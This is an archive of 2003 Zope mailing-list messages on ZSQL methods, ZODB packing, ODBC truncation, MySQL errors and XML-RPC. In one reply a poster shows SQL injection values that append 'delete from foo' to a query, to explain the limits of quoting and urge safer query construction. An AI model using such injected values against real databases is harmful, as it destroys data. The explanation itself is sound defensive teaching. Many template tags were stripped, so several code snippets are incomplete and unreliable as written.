Schulz) Date: Fri Aug 8 10:54:16 2003 Subject: [Zope] zsql-Methods: how to make a dynamic where-clause? Message-ID: <005001c35dbc$e883ea60$010aa8c0@PCA> Hi, is there any convenient way, to have a dynamic where-clause in zsql-Methods? All my effords had severe limitation up to now: 1. with the whole clause in the var doesn't work because of quoting problems. ... So it seems that there is only very limited scope with Hi, Is there a recipe/product that will load the ZODB as well as the zope environment from within the python interpreter? I would like to be able to play/test with a product that I am creating from within the interpreter. tia, Mike From vattekkat.babu at verizon.net Fri Aug 8 12:09:33 2003 From: vattekkat.babu at verizon.net (Satheesh Babu) Date: Fri Aug 8 11:10:14 2003 Subject: [Zope] zsql-Methods: how to make a dynamic where-clause? In-Reply-To: <005001c35dbc$e883ea60$010aa8c0@PCA> References: <005001c35dbc$e883ea60$010aa8c0@PCA> Message-ID: <3F33BD2D.5010301@verizon.net> Elena, you could pass a parameter like params={'col1':'val1', 'col2':'val2'} and write you SQL method like: select * from table = '' and you can extend this to check for types, different condition joiners etc. Babu -- http://vsbabu.org/ Elena Schulz wrote: > Hi, > > is there any convenient way, to have a dynamic where-clause in zsql-Methods? > All my effords had severe limitation up to now: > 1. 2. WHERE with the whole clause in the var doesn't work > because of quoting problems. > ... > So it seems that there is only very limited scope with explicit column=myExplicitColumnName constructs or am I missing > something? A completely dynamic query with python script would be also a > good alternative but how to do that? > > -- thanks for any input, Elena > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From froded at tiscali.no Fri Aug 8 18:28:08 2003 From: froded at tiscali.no (Frode Danielsen) Date: Fri Aug 8 11:28:15 2003 Subject: [Zope] loading zope within python interpreter In-Reply-To: Message-ID: <5.2.1.1.2.20030808172741.00bbeab8@mail.tiscali.no> I'm a complete newbie myself, but this seems like just what you are looking for: http://www.zope.org/Members/klm/ZopeDebugging/ConversingWithZope At 10:23 08.08.2003 -0400, Michael Long wrote: >Hi, > >Is there a recipe/product that will load the ZODB as well as the zope >environment from within the python interpreter? I would like to be able >to play/test with a product that I am creating from within the interpreter. > >tia, >Mike > >_______________________________________________ >Zope maillist - Zope@zope.org >http://mail.zope.org/mailman/listinfo/zope >** No cross posts or HTML encoding! ** >(Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) Mvh Frode From lists at localguru.de Fri Aug 8 18:41:57 2003 From: lists at localguru.de (Marcus Schopen) Date: Fri Aug 8 11:42:25 2003 Subject: [Zope] can't pack large Data.fs (2.5GB) In-Reply-To: <41543.199.67.140.20.1060347614.squirrel@webmail.mahnke.net> References: <3F32D073.5000005@localguru.de> <41543.199.67.140.20.1060347614.squirrel@webmail.mahnke.net> Message-ID: <3F33C4C5.2070007@localguru.de> BZ wrote: > Make a copy of it, and try using fsrecover.py on it which has a pack option. We think this here is the Problem: http://mail.zope.org/pipermail/zodb-dev/2003-May/005166.html Do you agree? Cheers, M. -- Marcus Schopen (0> P.O. Box 10 25 25 //\ Deutsche Zope User Group D-33525 Bielefeld V_/_ www.dzug.org Weird, but life is too short, move on ... From dman at dman13.dyndns.org Fri Aug 8 13:09:05 2003 From: dman at dman13.dyndns.org (Derrick 'dman' Hudson) Date: Fri Aug 8 12:09:08 2003 Subject: [Zope] Re: Truncation Reading from ODBC In-Reply-To: <20030808080219.GA12798@knoten.biz> References: <1060308254.17084.10.camel@jerry.westrick.local> <20030808080219.GA12798@knoten.biz> Message-ID: <20030808160905.GA12862@dman13.dyndns.org> On Fri, Aug 08, 2003 at 10:02:19AM +0200, Stefan Drees wrote: | On Fri, Aug 08, 2003 at 04:04:14AM +0200 - a wonderful day | - Jerry Westrick wrote: [...] | > When I read a column with 20,000+ characters I only get the first | > 8194 characters. [...] | What about PostgreSQL. Which Version? | A short glimpse at the online postgresql manual - namely at | http://www.postgresql.org/docs/7.2/static/datatype-character.html | yields: | """Note: Prior to PostgreSQL 7.2, strings that were too | long were silently truncated, no error was raised. | """ What data type? I suspect the above quote refers to inserting a VARCHAR. I know that the 'TEXT' type allows up to 2GB. Also check the settings of both the zope adapter and the ODBC driver. ISTR a buffer limit setting somewhere (but I haven't worked with any of that recently). HTH, -D -- Love is not affectionate feeling, but a steady wish for the loved person's ultimate good as far as it can be obtained. --C.S. Lewis http://dman13.dyndns.org/~dman/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 240 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030808/50415c37/attachment.bin From pw_lists at slinkp.com Fri Aug 8 13:15:52 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Fri Aug 8 12:16:14 2003 Subject: [Zope] loading zope within python interpreter In-Reply-To: References: Message-ID: <20030808161552.GD1072@slinkp.com> On Fri, Aug 08, 2003 at 10:23:58AM -0400, Michael Long wrote: > > Hi, > > Is there a recipe/product that will load the ZODB as well as the zope > environment from within the python interpreter? I would like to be able > to play/test with a product that I am creating from within the interpreter. IIRC things have changed somehow for zope 2.7, but for zope <= 2.6 you can do this: pw@kermit Zope-2.6.1-src $ export PYTHONPATH=lib/python/ pw@kermit Zope-2.6.1-src $ python Python 2.2.3 (#1, Jul 22 2003, 12:28:47) [GCC 3.2.3 20030422 (Gentoo Linux 1.4 3.2.3-r1, propolice)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import Zope >>> app = Zope.app() # this takes a few seconds >>> app.objectIds() ['acl_users', 'Control_Panel', 'standard_html_header', 'standard_html_footer', 'standard_error_message', 'index_html', 'temp_folder', 'browser_id_manager', 'session_data_manager', 'Examples', 'error_log', 'standard_template.pt'] -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's THE TENSILE AARDVARK! (random hero from isometric.spaceninja.com) From skpeterson at ucdavis.edu Fri Aug 8 12:27:43 2003 From: skpeterson at ucdavis.edu (Sam Peterson) Date: Fri Aug 8 14:28:18 2003 Subject: [Zope] Re: how to get the name of the element from the formulator in zpt In-Reply-To: <20030727114523.80430.qmail@web8106.mail.in.yahoo.com> References: <20030727114523.80430.qmail@web8106.mail.in.yahoo.com> Message-ID: <20030808182743.GA28938@hip.ucdavis.edu> ---Exteam said on Sunday, Jul 27 2003: > hi > i need to get the name of the element from the > formulator in zpt. i have done some thing like this, > > tal:attributes="value python:'%s' % > record['test_table_name1']; > name python:form.test_table_name.get_value('title')"> > > test_table_name1 is my column name in the db table & > test_table_name is my formulator element in the > formulator . Title of test_table_name is "test table > name" in the formulator. > > this displays a text box with the value coming from db > using a py script & name as title of the element , > > name="test table name" value=abc> > abc comes from db using py. > > but how do i get the name of the element as name > attribute in the input type=text ie, how to display > name="field_test_table_name" value=abc> Well, it's best to render fields from a formulator form using the element's member function .render(). You can pass a string value to it to set that form element's value attribute, if applicable, or recreate what the user submitted with the form, by using .render_from_request(request). However, if you're looking to get the Id of the formulator element: field.getId() and if you need the name of the field to have the 'field_' prefix, use a python expression and concatenate to the Id. 'field_' + field.getId() HTH. -- Sam Peterson skpeterson@ucdavis.edu 530-752-9332 Hart Interdisciplinary Programs, University of California, Davis From skpeterson at ucdavis.edu Fri Aug 8 12:39:57 2003 From: skpeterson at ucdavis.edu (Sam Peterson) Date: Fri Aug 8 14:40:33 2003 Subject: [Zope] Re: mysql error... In-Reply-To: <3F23F721.5090506@bellsouth.net> References: <5.2.1.1.0.20030726211246.00a03100@mail.hub.org> <3F23F721.5090506@bellsouth.net> Message-ID: <20030808183957.GB28938@hip.ucdavis.edu> ---Kevin Carlson said on Sunday, Jul 27 2003: > Chris, > > I have seen this happen before and it's not always a MySQL error. My > guess is that you are using MySQL with MyISAM tables that do not support > transactions. This error can be caused by a bug in a dtml > method/document or a python script that occurs after the call to a ZSql > method. When the zope transaction fails, it tries to rollback the MySQL > transaction which is not supported and throws yet another exception. > > I'd look at the rest of the script that contains the call to the ZSql > method and see if there's not a bug in there somewhere. > > Kevin > > Chris Bowlby wrote: > > >Hi All, > > > > Got an issue with a search feature that was configured by a client of > >mine, when they choose to search using a keyword, they get this error: > > > > > >Site Error > > > >An error was encountered while publishing this resource. > > > >_mysql_exceptions.NotSupportedError > >Sorry, a site error occurred. > > > > > >Traceback (innermost last): > > File /usr/local/www/Zope/lib/python/ZPublisher/Publish.py, line 150, > >in publish_module > > File /usr/local/www/Zope/lib/python/ZPublisher/Publish.py, line 106, > >in publish > > File /usr/local/www/Zope/lib/python/Zope/__init__.py, line 182, in > >abort > > File /usr/local/www/Zope/lib/python/ZODB/Transaction.py, line 107, > >in abort > > File /usr/local/www/Zope/lib/python/Shared/DC/ZRDB/TM.py, line 60, > >in abort > > File /usr/local/www/Zope/lib/python/Products/ZMySQLDA/db.py, line > >328, in _abort > >NotSupportedError: (1196, "Warning: Some non-transactional changed > >tables couldn't be rolled back") > > > >I'm not much of a Zope user/admin, so someone might need to be really > >specific about what this error actually means, it seems to be that a > >table might be missing from the mysql datatbase, but I need some > >confirmation on that, also if that is the case, where would I get the > >schema for this table.. > > > > > > I've had this error before when trying to use two ZSQL methods in one script with the MySQL DA. To get around the problem, turn the two ZSQL methods into one ZSQL method. You can do this by seperating two SQL scripts in one ZSQL method by . This prevents the DA from trying to use transactions. It kinda sucks, but it's due to MySQL ISAM tables having no support for transactions. You might try another table type that supports transactions and see if that helps. -- Sam Peterson skpeterson@ucdavis.edu 530-752-9332 Hart Interdisciplinary Programs, University of California, Davis From David.Bear at asu.edu Fri Aug 8 12:14:17 2003 From: David.Bear at asu.edu (David Bear) Date: Fri Aug 8 15:04:18 2003 Subject: [Zope] anyone using plone in japan? Message-ID: <20030808111417.A23250@asu.edu> I'm wondering if there are any plone users developing sites in japanese. I need to understand some of the issues of internationalizing with python/zope/cmd/plone -- and how other tools like webdav work with CJK character sets. -- David Bear phone: 480-965-8257 fax: 480-965-9189 College of Public Programs/ASU Wilson Hall 232 Tempe, AZ 85287-0803 "Beware the IP portfolio, everyone will be suspect of trespassing" From jpenny at universal-fasteners.com Fri Aug 8 17:09:00 2003 From: jpenny at universal-fasteners.com (Jim Penny) Date: Fri Aug 8 16:09:03 2003 Subject: [Zope] Re: sql_quote in dtml-var in zsql-Methods In-Reply-To: <003701c35d85$6edfcc60$010aa8c0@PCA> References: <003701c35d85$6edfcc60$010aa8c0@PCA> Message-ID: <20030808160900.3fd762b8.jpenny@universal-fasteners.com> On Fri, 8 Aug 2003 10:16:26 +0200 "Elena Schulz" wrote: > Hi Jim, > > thanks for your answer. Yes, I know about the quoting problem and what > dtml-var does. But acording to my findings dtml-var plus sql_quote > doesn't do the same thing. I couldn't find that it was doing anything > with the quoting. That's why I'm asking. Also the different way > dtml-var plus fmt=sql-quote. But I will check again. I just tested. My ZSQL method says this: select * from foo where color='' with variable color set to: black;'delete from foo'; select * where color='white it renders and executes this: select * from foo where color='black;''delete from foo''; select * where color=''white' Note the doubling of the quotes. There is no doubt that sql_quote is doing what it is supposed to. > > But another question: what should be done in the following construct: > > select from Well, lets try it! ZSQL method: select * from where color='' variable table set to: foo; delete from foo; select * from foo color set to '' renders and executes this: select * from foo; delete from foo; select * from foo where color='' Result: poof, goodbye data! What should you do about this? Realistically the answer is simple. Never use this kind of query. Create two different queries and call the appropriate one. Why loose sleep when five minutes of effort can prevent insecurity? Alternatively, you can write your own quote routine and call it, like select from where ... my_acceptable_tables checks to see if table is in a list of acceptable tables, and returns it is it is. If it is not, you need to throw an exception. I don't like this as much as separate methods because you have to know more to figure out what it is doing, in particular, you have to look at my_acceptable_tables as well as the method source; but that is a matter of your taste. In general, sql_quote will give you no protection if the variable is numeric, boolean, or anything else that is not quoted in SQL syntax. The rules are very simple. If it will work, ALWAYS use the appropriate dtml-sqlvar syntax. Use dtml-var ONLY if there is no way to make dtml-sqlvar work. Don't get cute trying to build all-singing, all-dancing queries. The simpler the query is, the easier it is to audit, the easier it is to maintain, and the easier it is to modify. In my experience, there are two places where you often end up needing to use dtml-var: like clauses, and in clauses. like clauses work very well with sql_quote. The column being selected on has to be textual, you have to supply surrounding quotes yourself, etc. So methods such as: select * from foo where color like '%' is correct and safe. in clauses are NOT safe. If you want to make them safe, call your own canonicalization routine, as: select * from foo where color in You will probably need this for type-checking, anyway. Jim Penny > > Here another kind of quoting would be needed or the following could be > done: myCols = "a_table_col from a_table; delete * from a_table; > select * " Thats the same problem, isn't it? What would help here? > Just a double quoting like: select "" from > ? > > -- Elena > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > From rmckanry at yahoo.com Fri Aug 8 14:16:56 2003 From: rmckanry at yahoo.com (Rex McKanry) Date: Fri Aug 8 16:30:18 2003 Subject: [Zope] password for website?? Message-ID: <20030808201656.74359.qmail@web14502.mail.yahoo.com> Hi, I'm real new at using Zope and need to find out how to require a user to enter a user name and password for Zope. Kind of like the login in screen I get when I want to connect to Zope and work on a web page. This is the last thing I need for my school project then it's all the paperwork showing the design stuff. Thanks, Rex __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Fri Aug 8 17:32:02 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon@CCRS.NRCan.gc.ca) Date: Fri Aug 8 16:32:17 2003 Subject: [Zope] SQL Queries, DTML Methods and XML-RPC Message-ID: <7CDD7B94357FD5119E800002A537C46E23092B@s5-ccr-r1.ccrs.nrcan.gc.ca> Hello, After some research, I've still not come up with any great solution to this problem (Though I did see a few things on the web, archives, etc ...) I would like to have methods callable through XML-RPC that return the result of SQL queries (Z SQL Methods). So far, the best luck I've had is by using a DTML Method. The big problem is that DTML Method doesn't take positional parameters ... (In hind sight, this is probably is shortfall of DTML Methods ... if they're really "methods", then they should take parameters through aparameter list, much like Python Scripts ... no? ). Anybody know a way around this? One other option I have thought of so far: Since DTML Methods are methods of their folders, I could do the same through a product: create a fodlerish type and extend it with my own methods, which will then be available through XML-RPC. This is more painful to create and manage, not only for the obvious reasons, but because I may have many methods I wants to create for XML-RPC access, and constantly creating new folderish types for that pupose isn't very elegant or sustainable. Also did I not hear there' sissue with calling SQL Methods from product code ? I'll look into that. Does anybody have any better way to do this? Any suggestions would be much appreciated! Thanks, Jean-Fran?ois Doyon Internet Service Development and Systems Support GeoAccess Division Canadian Center for Remote Sensing Natural Resources Canada http://atlas.gc.ca Phone: (613) 992-4902 Fax: (613) 947-2410 From zope at dylanreinhardt.com Fri Aug 8 21:40:14 2003 From: zope at dylanreinhardt.com (Dylan Reinhardt) Date: Fri Aug 8 16:40:16 2003 Subject: [Zope] password for website?? In-Reply-To: <20030808201656.74359.qmail@web14502.mail.yahoo.com> References: <20030808201656.74359.qmail@web14502.mail.yahoo.com> Message-ID: <1060375074.19893.276.camel@ida.dylanreinhardt.com> The easy/simple way: 1. Put a User Folder (acl_users) in the root of your project. 2. Add a user object representing your friend in this User Folder 3. Change the security settings of your project's root folder to restrict "View" permissions to Authenticated User and Manager instead of acquiring them. 4. Tell your friend his/her username and password. That's not airtight, enterprise-level security, but should work fine for a school project. HTH, Dylan On Fri, 2003-08-08 at 13:16, Rex McKanry wrote: > Hi, > I'm real new at using Zope and need to find out how to > require a user to enter a user name and password for > Zope. Kind of like the login in screen I get when I > want to connect to Zope and work on a web page. > > This is the last thing I need for my school project > then it's all the paperwork showing the design stuff. > Thanks, > Rex > > __________________________________ > Do you Yahoo!? > Yahoo! SiteBuilder - Free, easy-to-use web site design software > http://sitebuilder.yahoo.com > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From mlong at datalong.com Fri Aug 8 17:42:19 2003 From: mlong at datalong.com (Michael Long) Date: Fri Aug 8 16:42:26 2003 Subject: [Zope] loading zope within python interpreter Message-ID: Thanks for the reply. I am working with zope 2.7 so if anyone knows of any *gotcha's* I would appreciate it. With this and the link Frode replied with and google I will now continue my journey into the magical world of Zope. Cheers, Mike > IIRC things have changed somehow for zope 2.7, but for zope <= 2.6 you > can do this: > > pw@kermit Zope-2.6.1-src $ export PYTHONPATH=lib/python/ > pw@kermit Zope-2.6.1-src $ python > Python 2.2.3 (#1, Jul 22 2003, 12:28:47) > [GCC 3.2.3 20030422 (Gentoo Linux 1.4 3.2.3-r1, propolice)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>> import Zope > >>> app = Zope.app() # this takes a few seconds > >>> app.objectIds() > ['acl_users', 'Control_Panel', 'standard_html_header', 'standard_html_footer', 'standard_error_message', 'index_html', 'temp_folder', 'browser_id_manager', 'session_data_manager', 'Examples', 'error_log', 'standard_template.pt'] > > -- > > Paul Winkler > http://www.slinkp.com > Look! Up in the sky! It's THE TENSILE AARDVARK! > (random hero from isometric.spaceninja.com) > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > From jccooper at jcameroncooper.com Fri Aug 8 16:50:01 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Fri Aug 8 16:50:32 2003 Subject: [Zope] button in ZPT In-Reply-To: <19b801c35cc8$bd6dcc50$9700000a@MICHAEL> References: <19b801c35cc8$bd6dcc50$9700000a@MICHAEL> Message-ID: <3F340CF9.6070107@jcameroncooper.com> > > >Instead of a textlink I want to use a button (form) as a replacement for the >following statements. >Has anyone suggestions ? > > tal:attributes="href >string:${request/URL0}?start:int=${previous/first}" > href="previous_url">previous > > It's a very basic HTML/HTTP idiom::
One could also do the slightly more compact but less clever::
--jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From jccooper at jcameroncooper.com Fri Aug 8 17:01:42 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Fri Aug 8 17:02:12 2003 Subject: [Zope] parameter transfer to a zsql-method (lists, dictionaries etc.) In-Reply-To: <003601c35d85$6e8be000$010aa8c0@PCA> References: <003601c35d85$6e8be000$010aa8c0@PCA> Message-ID: <3F340FB6.6090302@jcameroncooper.com> > > >Can anybody enlight my understandig of how to pass parameters (e.g. lists, >dictionaries) to zsql-methods especially so that they will work in an >dtml-in construct? That would be very helpfull. > >my ZSQL-Method: > >columns:list:string=* where:string="" sort_col:string="" >sort_reverse:int=0 > >the error details: > >Error Type: InError >Error Value: Strings are not allowed as input to the in tag. >Error error_tb: >... > >InError: Strings are not allowed as input to the in tag. > > I think your parameter construction is wrong. You're telling Zope that a list is a string, and furthermore, to iterate over a string, which won't work. Try columns:list or simply columns since you probably don't *need* parameters. --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Fri Aug 8 18:07:57 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon@CCRS.NRCan.gc.ca) Date: Fri Aug 8 17:08:06 2003 Subject: [Zope] SQL Queries, DTML Methods and XML-RPC Message-ID: <7CDD7B94357FD5119E800002A537C46E23092C@s5-ccr-r1.ccrs.nrcan.gc.ca> Ah, turns out Python Scripts also behave like methods! Never mind :) J.F. -----Original Message----- From: Jean-Francois.Doyon@CCRS.NRCan.gc.ca [mailto:Jean-Francois.Doyon@CCRS.NRCan.gc.ca] Sent: Friday, August 08, 2003 4:32 PM To: zope@zope.org Subject: [Zope] SQL Queries, DTML Methods and XML-RPC Hello, After some research, I've still not come up with any great solution to this problem (Though I did see a few things on the web, archives, etc ...) I would like to have methods callable through XML-RPC that return the result of SQL queries (Z SQL Methods). So far, the best luck I've had is by using a DTML Method. The big problem is that DTML Method doesn't take positional parameters ... (In hind sight, this is probably is shortfall of DTML Methods ... if they're really "methods", then they should take parameters through aparameter list, much like Python Scripts ... no? ). Anybody know a way around this? One other option I have thought of so far: Since DTML Methods are methods of their folders, I could do the same through a product: create a fodlerish type and extend it with my own methods, which will then be available through XML-RPC. This is more painful to create and manage, not only for the obvious reasons, but because I may have many methods I wants to create for XML-RPC access, and constantly creating new folderish types for that pupose isn't very elegant or sustainable. Also did I not hear there' sissue with calling SQL Methods from product code ? I'll look into that. Does anybody have any better way to do this? Any suggestions would be much appreciated! Thanks, Jean-Fran?ois Doyon Internet Service Development and Systems Support GeoAccess Division Canadian Center for Remote Sensing Natural Resources Canada http://atlas.gc.ca Phone: (613) 992-4902 Fax: (613) 947-2410 _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From jccooper at jcameroncooper.com Fri Aug 8 17:07:45 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Fri Aug 8 17:08:15 2003 Subject: [Zope] Truncation Reading from ODBC In-Reply-To: <1060308254.17084.10.camel@jerry.westrick.local> References: <1060308254.17084.10.camel@jerry.westrick.local> Message-ID: <3F341121.8090300@jcameroncooper.com> > > >I'm trying to read (and later probably write) large strings to a >postgress database. >... >When I read a column with 20,000+ characters I only get the first >8194 characters. > >Is this: >1) a Zope restriction? > > This is a very unlikely cause, but I recall that certain Python data structures (files?) may look like strings up to a certain point, but then contain a link to another node with more data. You can get the whole of the contents by str(the_thing). But them, you're probably using the string type already. --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From andy at agmweb.ca Fri Aug 8 15:19:38 2003 From: andy at agmweb.ca (Andy McKay) Date: Fri Aug 8 17:20:36 2003 Subject: [Zope] anyone using plone in japan? In-Reply-To: <20030808111417.A23250@asu.edu> References: <20030808111417.A23250@asu.edu> Message-ID: <3F3413EA.8050504@agmweb.ca> People are, I would suggest asking the plone-i18n list, look for it at http://sf.net/projects/plone David Bear wrote: > I'm wondering if there are any plone users developing sites in > japanese. I need to understand some of the issues of > internationalizing with python/zope/cmd/plone -- and how other tools > like webdav work with CJK character sets. > > -- Andy McKay http://www.agmweb.ca From chrism at zope.com Fri Aug 8 18:33:55 2003 From: chrism at zope.com (Chris McDonough) Date: Fri Aug 8 17:33:53 2003 Subject: [Zope] loading zope within python interpreter References: Message-ID: <006b01c35df4$c4fe4f30$a017a8c0@james> Under UNIX: zopectl debug Under Windows there is no easy way. Someone posted a snippet a while back in the maillist on how to do it. Search the maillist for "dropPrivileges". I am going to make a utility function to make this a bit simpler for 2.7 final. - C ----- Original Message ----- From: "Michael Long" To: "Paul Winkler" ; "Zope" Sent: Friday, August 08, 2003 4:42 PM Subject: Re: [Zope] loading zope within python interpreter > Thanks for the reply. I am working with zope 2.7 so if anyone knows of > any *gotcha's* I would appreciate it. With this and the link Frode > replied with and google I will now continue my journey into the magical > world of Zope. > > Cheers, > Mike > > > > IIRC things have changed somehow for zope 2.7, but for zope <= 2.6 you > > can do this: > > > > pw@kermit Zope-2.6.1-src $ export PYTHONPATH=lib/python/ > > pw@kermit Zope-2.6.1-src $ python > > Python 2.2.3 (#1, Jul 22 2003, 12:28:47) > > [GCC 3.2.3 20030422 (Gentoo Linux 1.4 3.2.3-r1, propolice)] on linux2 > > Type "help", "copyright", "credits" or "license" for more information. > > >>> import Zope > > >>> app = Zope.app() # this takes a few seconds > > >>> app.objectIds() > > ['acl_users', 'Control_Panel', 'standard_html_header', > 'standard_html_footer', 'standard_error_message', 'index_html', > 'temp_folder', 'browser_id_manager', 'session_data_manager', 'Examples', > 'error_log', 'standard_template.pt'] > > > > -- > > > > Paul Winkler > > http://www.slinkp.com > > Look! Up in the sky! It's THE TENSILE AARDVARK! > > (random hero from isometric.spaceninja.com) > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From ben at center7.com Fri Aug 8 16:41:47 2003 From: ben at center7.com (Ben Bush) Date: Fri Aug 8 17:41:52 2003 Subject: [Zope] Sessions between domains Message-ID: <3F34191B.7020900@center7.com> I have one web server that I am using with zope running on the same box. I want to know how I could transfer session info from one url at www.domain.com to my secure site at secure.domain.com. As far as I can tell, I don't have access to the same session data. This is for a shoppping cart app that would have a user back and forth but I want to maintain the contents of the cart no matter where they may be. Thanks, -- Ben Bush Center 7, Systems Administrator 801-655-2640 From rbh at okihawk.org Sat Aug 9 09:57:40 2003 From: rbh at okihawk.org (Robert B. Hawkins) Date: Fri Aug 8 19:59:08 2003 Subject: [Plone-users] Re: [Zope] anyone using plone in japan? In-Reply-To: <3F3413EA.8050504@agmweb.ca> References: <20030808111417.A23250@asu.edu> <3F3413EA.8050504@agmweb.ca> Message-ID: <200308090857.40333.rbh@okihawk.org> 2003? 8? 9? ??? 06:19?Andy McKay ????????: > People are, I would suggest asking the plone-i18n list, look for it at > http://sf.net/projects/plone > > David Bear wrote: > > I'm wondering if there are any plone users developing sites in > > japanese. I need to understand some of the issues of > > internationalizing with python/zope/cmd/plone -- and how other tools > > like webdav work with CJK character sets. David, Overall check out http://zope.jp. This is the home for the Japan Zope User Group. Hopefully you can read Japanese, 'cuz that's all there is on that site. The mailing list is not very active, well at least compared to plone. ; ) However, when a question is asked, they are normally answered quickly. There are some other sites and information out there, but zope.jp is the best start. Rob -- Robert B. Hawkins ?????????? http://www.okihawk.org http://okiit.okihawk.org http://www.okiwell.org http://www.ospi.jp rbh@okihawk.org Key fingerprint = 3B4D 6F6C A207 0CB7 4863 74F7 D63B D732 9764 6CC8 From Jerry at Westrick.Com Sat Aug 9 01:03:16 2003 From: Jerry at Westrick.Com (Jerry Westrick) Date: Fri Aug 8 20:03:17 2003 Subject: [Zope] Z SQL row to dictionary In-Reply-To: <3F34191B.7020900@center7.com> References: <3F34191B.7020900@center7.com> Message-ID: <1060385443.20159.23.camel@jerry.westrick.local> Hello... anybody know how to convert the row returned from an Z SQL into a dictionary? Jerry From lists at localguru.de Sat Aug 9 08:04:55 2003 From: lists at localguru.de (Marcus Schopen) Date: Sat Aug 9 01:05:23 2003 Subject: [Zope] can't pack large Data.fs (2.5GB) [solved] In-Reply-To: References: Message-ID: <3F3480F7.2070806@localguru.de> Marcus Schopen wrote: > can't pack a 2.5GB big Data.fs through the ZMI: > > ---------- > Zope Error > > Zope has encountered an error while publishing this resource. > > Error Type: OverflowError > Error Value: integer addition > ---------- > > System: Debian woody with ext3 > > ---------- > (Zope 2.6.2 (CVS 20030518 source release, python 2.1, linux2), python > 2.1.3, linux2) Python Version > > 2.1.3 (#1, Sep 7 2002, 15:29:56) [GCC 2.95.4 20011002 (Debian > prerelease)] System Platform > ---------- > > If it was a LFS problem the zope wouldn't run. And I think the woody's > python (Version: 2.1.3-3.2) is built with LFS support. After updating via cvs to newest 2.6.2 sources, packing works fine again! Output of diff lib/python/ZODB/fspack.py (before and after updating): [...] 86c64 < _metadata_size = 4L --- > _metadata_size = 4 [...] < pos = 4L --- > pos = 4 [...] 766c736 < new_tpos = 0L --- > new_tpos = 0 It's the same problem, which has been posted a few month ago on the zodb-dev list: http://mail.zope.org/pipermail/zodb-dev/2003-May/005166.html Ciao M. -- Marcus Schopen (0> P.O. Box 10 25 25 //\ Deutsche Zope User Group D-33525 Bielefeld V_/_ www.dzug.org Weird, but life is too short, move on ... From vattekkat.babu at verizon.net Sat Aug 9 12:49:45 2003 From: vattekkat.babu at verizon.net (Satheesh Babu) Date: Sat Aug 9 11:49:48 2003 Subject: [Zope] Z SQL row to dictionary In-Reply-To: <1060385443.20159.23.camel@jerry.westrick.local> References: <3F34191B.7020900@center7.com> <1060385443.20159.23.camel@jerry.westrick.local> Message-ID: <3F351819.3010905@verizon.net> > anybody know how to convert the row returned from > an Z SQL into a dictionary? You could write a Python function (or in Zope terms, a Python Script ) like this that converts an object to a dictionary def class2dict(o): """Return a dictionary from object that has public variable -> key pairs """ dict = {} #all the attributes in a class are already in __dict__ for elem in o.__dict__.keys(): if elem.find("_" + o.__class__.__name__) == 0: continue #We discard private variables, which are automatically #named _ClassName__variablename, when we define it in #the class as __variablename else: dict[elem] = o.__dict__[elem] return dict Note: this is tested in Python world; but I haven't used it in Zope ZSQL. - Babu -- http://vsbabu.org/ From khcarlso at bellsouth.net Sat Aug 9 19:34:36 2003 From: khcarlso at bellsouth.net (Kevin Carlson) Date: Sat Aug 9 18:34:12 2003 Subject: [Zope] Z SQL row to dictionary In-Reply-To: <1060385443.20159.23.camel@jerry.westrick.local> References: <3F34191B.7020900@center7.com> <1060385443.20159.23.camel@jerry.westrick.local> Message-ID: <3F3576FC.2050205@bellsouth.net> This one is pretty straightforward. You can turn a ZSQL result set into a list of dictionaries simply by calling the dictionaries() method on the result set. For example: results = ZSQLMethod.getSomethingFromDB() dicts = results.dictionaries() Hope that helps, Kevin Jerry Westrick wrote: >Hello... > >anybody know how to convert the row returned from >an Z SQL into a dictionary? > >Jerry > > >_______________________________________________ >Zope maillist - Zope@zope.org 